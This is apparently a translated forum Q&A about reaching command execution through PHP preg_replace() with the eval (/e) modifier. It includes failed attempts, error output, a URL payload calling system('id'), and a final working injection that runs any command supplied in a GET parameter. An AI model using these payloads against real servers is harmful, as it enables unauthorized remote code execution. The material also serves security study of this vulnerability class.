我正在做一些安全研究,我在PHP中评估preg_replace()
时遇到了问题。我的目标是我可以使用此功能执行命令。我可以控制preg_replace
函数的第一个和第三个参数,但不控制第二个参数。这段代码按预期工作,我只是在使用像system()
这样需要字符串作为参数的函数时遇到了麻烦。
echo preg_replace('/(.+)/e', '\\1', "phpinfo()");
echo preg_replace('/(.+)/e', '\\1', 'phpinfo()');//we both work as intended
我尝试过这个简单的例子来了解如何使用引号并在此上下文中使用字符串。
echo preg_replace('/(.+)/e', '\\1', '$a="1"');
echo preg_replace('/(.+)/e', '\\1', "$a='1'"); //basically the same, only switched ' and "
应该执行命令$a="1";
(我很清楚它没有任何用处)。
要完全准确,第三个参数是 GET参数,我不知道在这种情况下它是否仍与我使用的引号相关。为了适应这两种情况,我尝试了两种情况,但都没有取得任何成功。
当我执行此行时,
php > echo preg_replace('/(.+)/e', '\\1', '$a="1"');
我收到了错误,
PHP Parse error: syntax error, unexpected '"', expecting identifier (T_STRING) in php shell
code(1) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
$a=\"1\" in php shell code on line 1
//Same command, switches quotation marks
php > echo preg_replace('/(.+)/e', '\\1', "$a='1'");
PHP Notice: Undefined variable: a in php shell code on line 1
PHP Parse error: syntax error, unexpected '=' in php shell code(1) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
=\'1\' in php shell code on line 1
我已阅读错误消息并对此主题进行了一些研究,但无法找到对我有帮助的内容。
在第三个参数周围使用preg_quote
无法解决此问题。
我想要的是能够在评估preg_replace()
时执行将字符串作为输入的函数。任何帮助都非常感谢。
答案 0 :(得分:1)
我想发表评论,但还不能......
我认为代码看起来像这样:
preg_replace('/(.+)/e', '\\1', $_GET['code']);
因为你说第三个参数带有GET。你不能只做像
这样的事情http://somesuperduperurl.xxx/code=system('id')
?你说你可以控制preg_replace的第一个参数。它也是通过GET?
http://somesuperduperurl.xxx/sth=/known/e?code=system('id')
你试过这个吗?
答案 1 :(得分:0)
我想出了如何解决我的问题。我得出的结论是,我想做的事似乎不可能,至少不是这样。
但是,当我使用以下代码时
echo preg_replace("/(.+)/e", "\\1", "system($_GET[a])");
我可以在URL中添加另一个包含所有命令的GET参数。使用这种方法,我不需要关心preg_replace
转义我的'和'。
请注意,$_GET[a]
的使用不正确,但因为PHP非常好,所以假设unknow常量a应该是一个字符串并以这种方式解释它。在GET参数a
中,我现在可以插入任何我想要执行的命令。